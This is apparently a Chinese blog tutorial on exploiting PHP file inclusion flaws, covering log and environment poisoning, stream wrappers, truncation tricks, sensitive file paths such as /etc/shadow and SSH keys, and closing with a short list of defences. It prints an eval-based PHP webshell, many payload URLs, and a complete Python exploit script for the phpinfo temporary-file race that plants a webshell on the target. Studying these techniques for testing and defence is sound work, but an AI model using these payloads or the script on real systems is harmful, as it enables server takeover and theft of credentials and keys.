文件包含漏洞

漏洞描述

程序在引用文件的时候,引用的文件名是用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作到预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,无需再次编写,这重文件调用的过程一般被称为文件包含。程序开发人员希望代码更加灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多,而在 JSP、ASP、ASP.NET 程序中却非常少甚至没有,这是部分语言设计的弊端。在 PHP 中经常出现包含漏洞,但并不意味着其他语言不存在。

利用方法

文件包含漏洞,需要引入上传的文件到网站目录,或是服务器内部的文件,而且权限是可读,才能引入进来,或远程包含进来,但是需要一定条件。

代码分析

$_GET['filename'] 接收客户端传的参数,其中没有任何过滤就带入到 include 函数中,include 包含这个文件,引入到当前文件中,因此会造成文件包含漏洞

常见文件包含函数

include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行

require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本

include_once() 和 require_once():若文件中代码已被包含则不会再次包含

1、本地包含文件

本地包含文件,被包含的文件在本地。

1.1、文件包含/etc/passwd

../ 是上一级路径,如果存在漏洞而且文件又存在,不是 php 文件会被读取显示在页面中

/etc/passwd 文件是 linux 里的敏感信息,文件里存有 linux 用户的配置信息

1.2、文件包含图片

把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后就可以执行代码

<?php phpinfo();eval($_POST['cmd']);?> 保存为 shell.jpg

上传图片格式到网站,再用文件包含漏洞引入图片,成功执行代码

1.3、包含日志文件 getshell

中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志中有 php 恶意代码,也可导致 getshell

使用 burpsuite 访问 GET 填写恶意代码

在 linux 下日志文件权限默认是 root 而 php 的权限是 www-data 一般情况下是读取不了,如果是 windows 环境下权限是允许的。linux 默认的 apache 日志文件路径是

访问日志 /var/log/apache2/access.log

错误日志 /var/log/apache2/error.log

把文件日志包含进来即可

1.4、包含环境变量 getshell

修改 User-Agen 填写恶意代码

/proc/self/environ 这个文件里保存了系统的一些变量

如果权限足够,包含这个文件就能 getshell

1.5、phpinfo 文件包含临时文件

原理: 利用 post 上传文件产生临时文件,phpinfo()读取临时文件的路径和名字,本地包含漏洞生成 1 句话后门

php 在解析 multipart/form-data 请求时,会创建临时文件,并写入上传内容,脚本执行后即删除。phpinfo 可以输出$_FILE 信息,通过多种方式争取时间,在临时文件删除前执行文件包含:

  • 通过在数据报文中加入大量的垃圾数据,导致 phpinfo 页面过大,输出进入流式输出,并不一次输出完毕
  • 通过大量请求来延迟 php 脚本的执行速度

php post 方式上传任意文件,服务器都会创建临时文件来保存文件内容。在 HTTP 协议中为了方便进行文件传输,规定了一种基于表单的 HTML 文件传输方法,其中要确保上传表单的属性是 enctype="multipart/form-data"

PHP 引擎对 enctype="multipart/form-data"这种请求的处理过程如下:

  • 请求到达
  • 创建临时文件,并写入上传文件的内容
  • 调用相应 PHP 脚本进行处理,如校验名称、大小等
  • 删除临时文件

PHP 引擎会首先将文件内容保存到临时文件,临时文件的名称是 php + 随机字符,然后进行相应的操作。$_FILES 信息,包括临时文件路径、名称

PHP 中,有超全局变量 $_FILES,保存上传文件的信息,包括文件名、类型、 临时文件名、错误代号、大小

把文件上传到 phpinfo 获取临时文件路径

 1 <!doctype html>
 2 <html>
 3     <body>
 4     <form action="http://192.168.152.135/06/phpinfo.php" method="POST" enctype="multipart/form-data">
 5     <h3> Test upload tmp file</h3>
 6     <label for="file">Filename:</label>
 7     <input type="file" name="file"/><br/>
 8     <input type="submit" name="submit" value="Submit" />
 9     </form>
10     </body>
11 </html>

通过 phpinfo 临时文件 getshell

php 本地包含文件利用脚本,修改利用的路径和文件即可

  1 #!/usr/bin/python
  2 #python version 2.7
  3 
  4 import sys
  5 import threading
  6 import socket
  7 
  8 def setup(host, port):
  9     TAG = "Security Test"
 10     PAYLOAD = """%sr
 11 <?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
 12     # PAYLOAD = """%sr
 13     # <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
 14     REQ1_DATA = """-----------------------------7dbff1ded0714r
 15 Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
 16 Content-Type: text/plainr
 17 r
 18 %s
 19 -----------------------------7dbff1ded0714--r""" % PAYLOAD
 20     padding = "A" * 5000
 21     REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1r
 22 Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """r
 23 HTTP_ACCEPT: """ + padding + """r
 24 HTTP_USER_AGENT: """ + padding + """r
 25 HTTP_ACCEPT_LANGUAGE: """ + padding + """r
 26 HTTP_PRAGMA: """ + padding + """r
 27 Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
 28 Content-Length: %sr
 29 Host: %sr
 30 r
 31 %s""" % (len(REQ1_DATA), host, REQ1_DATA)
 32     # modify this to suit the LFI script
 33     LFIREQ = """GET /index.php?file=%s HTTP/1.1r
 34 User-Agent: Mozilla/4.0r
 35 Proxy-Connection: Keep-Aliver
 36 Host: %sr
 37 r
 38 r
 39 """
 40     return (REQ1, TAG, LFIREQ)
 41 
 42 def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
 43     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 44     s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 45 
 46     s.connect((host, port))
 47     s2.connect((host, port))
 48 
 49     s.send(phpinforeq)
 50     d = ""
 51     while len(d) < offset:
 52         d += s.recv(offset)
 53     try:
 54         i = d.index("[tmp_name] =&gt; ")
 55         fn = d[i + 17:i + 31]
 56     except ValueError:
 57         return None
 58 
 59     s2.send(lfireq % (fn, host))
 60     d = s2.recv(4096)
 61     s.close()
 62     s2.close()
 63 
 64     if d.find(tag) != -1:
 65         return fn
 66 
 67 counter = 0
 68 
 69 class ThreadWorker(threading.Thread):
 70     def __init__(self, e, l, m, *args):
 71         threading.Thread.__init__(self)
 72         self.event = e
 73         self.lock = l
 74         self.maxattempts = m
 75         self.args = args
 76 
 77     def run(self):
 78         global counter
 79         while not self.event.is_set():
 80             with self.lock:
 81                 if counter >= self.maxattempts:
 82                     return
 83                 counter += 1
 84 
 85             try:
 86                 x = phpInfoLFI(*self.args)
 87                 if self.event.is_set():
 88                     break
 89                 if x:
 90                     print "nGot it! Shell created in /tmp/Qftm.php"
 91                     self.event.set()
 92 
 93             except socket.error:
 94                 return
 95 
 96 def getOffset(host, port, phpinforeq):
 97     """Gets offset of tmp_name in the php output"""
 98     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 99     s.connect((host, port))
100     s.send(phpinforeq)
101 
102     d = ""
103     while True:
104         i = s.recv(4096)
105         d += i
106         if i == "":
107             break
108         # detect the final chunk
109         if i.endswith("0rnrn"):
110             break
111     s.close()
112     i = d.find("[tmp_name] =&gt; ")
113     if i == -1:
114         raise ValueError("No php tmp_name in phpinfo output")
115 
116     print "found %s at %i" % (d[i:i + 10], i)
117     # padded up a bit
118     return i + 256
119 
120 def main():
121     print "LFI With PHPInfo()"
122     print "-=" * 30
123 
124     if len(sys.argv) < 2:
125         print "Usage: %s host [port] [threads]" % sys.argv[0]
126         sys.exit(1)
127 
128     try:
129         host = socket.gethostbyname(sys.argv[1])
130     except socket.error, e:
131         print "Error with hostname %s: %s" % (sys.argv[1], e)
132         sys.exit(1)
133 
134     port = 80
135     try:
136         port = int(sys.argv[2])
137     except IndexError:
138         pass
139     except ValueError, e:
140         print "Error with port %d: %s" % (sys.argv[2], e)
141         sys.exit(1)
142 
143     poolsz = 10
144     try:
145         poolsz = int(sys.argv[3])
146     except IndexError:
147         pass
148     except ValueError, e:
149         print "Error with poolsz %d: %s" % (sys.argv[3], e)
150         sys.exit(1)
151 
152     print "Getting initial offset...",
153     reqphp, tag, reqlfi = setup(host, port)
154     offset = getOffset(host, port, reqphp)
155     sys.stdout.flush()
156 
157     maxattempts = 1000
158     e = threading.Event()
159     l = threading.Lock()
160 
161     print "Spawning worker pool (%d)..." % poolsz
162     sys.stdout.flush()
163 
164     tp = []
165     for i in range(0, poolsz):
166         tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
167 
168     for t in tp:
169         t.start()
170     try:
171         while not e.wait(1):
172             if e.is_set():
173                 break
174             with l:
175                 sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))
176                 sys.stdout.flush()
177                 if counter >= maxattempts:
178                     break
179         print
180         if e.is_set():
181             print "Woot!  m/"
182         else:
183             print ":("
184     except KeyboardInterrupt:
185         print "nTelling threads to shutdown..."
186         e.set()
187 
188     print "Shuttin' down..."
189     for t in tp:
190         t.join()
191 
192 if __name__ == "__main__":
193     main()

具体原理

在给 PHP 发送 POST 数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php 都会将这个文件保存成一个临时文件(通常是/tmp/php[6 个随机字符]),这个临时文件在请求结束后就会被删除,同时 phpinfo 页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和 phpinfo 页面通常是两个页面,理论上我们需要先发送数据包给 phpinfo 页面,然后从返回页面中匹配出临时文件名,将这个文件名发送给文件包含漏洞页面。因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,就上传我们的恶意文件,然后文件包含:

  • 发送包含 webshell 的上传数据包给 phpinfo,这个数据包的 header,get 等位置一定要塞满垃圾数据
  • phpinfo 这时会将所有数据都打印出来,其中的垃圾数据会将 phpinfo 撑得非常大
  • PHP 默认缓冲区大小是 4096,即 PHP 每次返回 4096 个字节给 socket 连接
  • 所以,我们直接操作原生 socket,每次读取 4096 个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包
  • 此时,第一个数据包的 socket 连接其实还没有结束,但是 PHP 还在继续每次输出 4096 个字节,所以临时文件还未被删除
  • 我们可以利用这个时间差,成功包含临时文件,最后 getshell 执行 python exp.py 192.168.152.135 80

最后通过网站的文件包含漏洞去包含执行恶意代码

2、伪协议

file:// — 访问本地文件系统

http:// — 访问 HTTP(s) 网址

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流(I/O streams)

data:// — 数据(RFC 2397)

glob:// — 查找匹配的文件路径模式

phar:// — PHP 归档

ssh2:// — Secure Shell 2

zlib:// — 压缩流

rar:// — RAR

ogg:// — 音频流

expect:// — 处理交互式的流

2.1、php.ini 参数设置

在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include

allow_url_fopen:默认值是 ON,允许 url 里的封装协议访问文件

allow_url_include:默认值是 OFF,不允许包含 url 里的封装协议包含文件

各协议的利用条件和方法

2.2、php://input

php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行时会将 post 内容当作文件内容

注:当 enctype="multipart/form-data",php://input 是无效的

php.ini 条件是 allow_url_fopen=ON,allow_url_include=ON

设置请求为 post 请求,在正文输入 php 代码<?php phpinfo();?>

2.3、file://访问本地文件

在本地包含漏洞里可以使用 file 协议,使用 file 协议可以读取本地文件

读取相对路径文件

2.4、php://

php:// 用于访问各个输入/输出流 (I/O streams) ,经常使用的是 php://filter 和 php://input

php://filter 用于读取源码

php://input 用于执行 php 代码

php://filter 参数详解

可用的过滤器列表(4 类)

使用协议读取文件源码

php://filter/read=convert.base64-encode/resource=/etc/passwd

读取文件后再进行 base64 解码

phar://、zip://、bzip2://、zlib:// 用于读取压缩文件

zip:// 、bzip2:// 、zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif 等

(1)zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)

http://include123.com/lfi.php?file=zip://D:\phpstudy_pro\WWW\include123.com\shell.png%23shell.jpg

http://include123.com/lfi.php?file=zip://shell.png%23shell.jpg

(2)compress.bzip2://file.bz2

http://include123.com/lfi.php?file=compress.bzip2://D:\phpstudy_pro\WWW\include123.com\shell.jpg

http://include123.com/lfi.php?file=compress.bzip2://./shell.jpg

(3)compress.zlib://file.gz

http://include123.com/lfi.php?file=compress.zlib://D:\phpstudy_pro\WWW\include123.com\shell.jpg

http://include123.com/lfi.php?file=compress.zlib://./shell.jpg

(4)phar://

http://include123.com/lfi.php?file=phar://D:\phpstudy_pro\WWW\include123.com\shell.png\shell.jpg

2.5、data:// 

(1)data://text/plain

http://192.168.152.135/lfi.php?file=data://text/plain,<?php%20phpinfo();?>

(2)data://text/plain;base64

http://192.168.152.135/lfi.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

3、文件包含常用路径

包含日志文件 getshell

/usr/local/apache2/logs/access_log

/logs/access_log /etc/httpd/logs/access_log

/var/log/httpd/access_log

 

读取网站配置文件

dedecms 数据库配置文件 data/common.inc.php

discuz 全局配置文件 config/config_global.php

phpcms 配置文件 caches/configs/database.php

phpwind 配置文件 conf/database.php

wordpress 配置文件 wp-config.php

 

包含系统配置文件

windows

C:/boot.ini //查看系统版本

C:/Windows/System32/inetsrv/MetaBase.xml // IIS 配置文件

C:/Windows/repairsam //存储系统初次安装的密码

C:/Program Files/mysql/my.ini //Mysql 配置

C:/Program Files/mysql/data/mysql/user.MYD //Mysql root

C:/Windows/php.ini //php 配置信息

C:/Windows/my.ini //Mysql 配置信息

linux

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_ras.keystore

/root/.ssh/known_hosts

/etc/passwd

/etc/shadow

/etc/my.cnf

/etc/httpd/conf/httpd.conf

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]*(文件标识符)

/proc/mounts

/porc/config.gz

4、包含远程文件

当远程文件开启时,即 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On,可以包含远程文件到本地执行,192.168.152.135 设置为远程的 ip

http://192.168.152.135/lfi.php?file=http://192.168.152.135/shell.txt

5、文件包含截断攻击

在 php 版本小于 5.3.4 允许使用 %00 截断,在使用 include 等文件包含函数时,可以截断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00 会被转义成 \0 截断失败,file 参数可控的会造成漏洞

include $_GET['file'] .'.php';

传入 file 文件名拼接 .php 再用 include 引入文件

5.1、文件包含%00 截断

上传带有恶意代码的文件到网站目录,包含引入再进行 %00 截断

当前测试的版本是 php 5.2.17 gpc=off

5.2、超长文件包含截断

这个适合于 win32 可以使用 \. 进行截断和 .

(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256)

利用操作系统对目录最大长度限制

点截断

http://include124.com/lfi2.php?file=shell.jpg............................................................................................................................................................................................................................................................................................................................................

/.截断

http://include124.com/lfi2.php?file=shell.jpg%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2ef%2e%2f%2e%2f%2ef%2e%2f%2e%2f%2e%2e

5.3、远程包含截断

# url编码为 %23

? url编码为 %3f

00 url编码为 %00

以上这些字符都可以截断

allow_url_fopen =On

allow_url_include=On

http://192.168.152.135/lfi2.php?file=http://192.168.152.135/shell.txt?

6、文件包含漏洞防御

(1)严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制

(2)路径限制:限制被包含的文件只能在某一文件内,禁止目录跳转字符,如 "../"

(3)包含文件验证:验证被包含的文件是否是白名单中的一员

(4)尽量不要使用动态包含,可以在需要包含的页面固定写好,如 include('head.php')

(5)设置 allow_url_include 为 Off

posted @ 2024-03-19 23:26  lxl3344  阅读(42)  评论(0编辑  收藏  举报